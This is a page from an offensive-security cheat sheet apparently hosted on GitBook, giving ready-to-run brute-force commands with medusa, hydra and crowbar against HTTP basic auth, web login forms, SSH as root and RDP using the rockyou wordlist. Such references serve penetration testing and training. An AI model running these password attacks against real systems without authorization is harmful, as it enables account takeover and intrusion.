🥷
Offensive Security
  • Shells and stuffs
    • Bind Shell
    • Reverse Shell
    • TTY Shell
    • File Transfer
    • Handmade Network Scan
  • Services enumeration
    • DNS Enumeration
    • SMB Enumeration
    • NFS Enumeration
  • Linux Privilege Escalation
    • Useful Tools
    • Hijack X11 session
    • Linux capabilities
    • LXC membership
  • Windows Privilege Escalation
    • Useful Tools
  • Password Attacks
    • Build Wordlist
    • Network Service Attacks
    • Password Cracking
  • Active Directory
    • AD CS
  • OSINT
    • Google Dorks
Powered by GitBook
On this page
  • HTTP
  • .htaccess
  • POST login request
  • SSH
  • RDP
  1. Password Attacks

Network Service Attacks

HTTP

.htaccess

medusa -h <url> -u <user> -p <wordlist> -M http -m DIR:/<directory>
medusa -h 10.11.0.22 -u admin -P /usr/share/seclists/Passwords/rockyou.txt -M http -m DIR:/admin

POST login request

hydra <url> http-form-post "<login page>:user=<user>&pass=^PASS^:<error string>" -l <user> -P <passwords list> -vV -f
hydra 10.11.0.22 http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P /usr/share/wordlists/rockyou.txt -vV -f

SSH

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1

RDP

crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1
PreviousBuild WordlistNextPassword Cracking

Last updated 1 year ago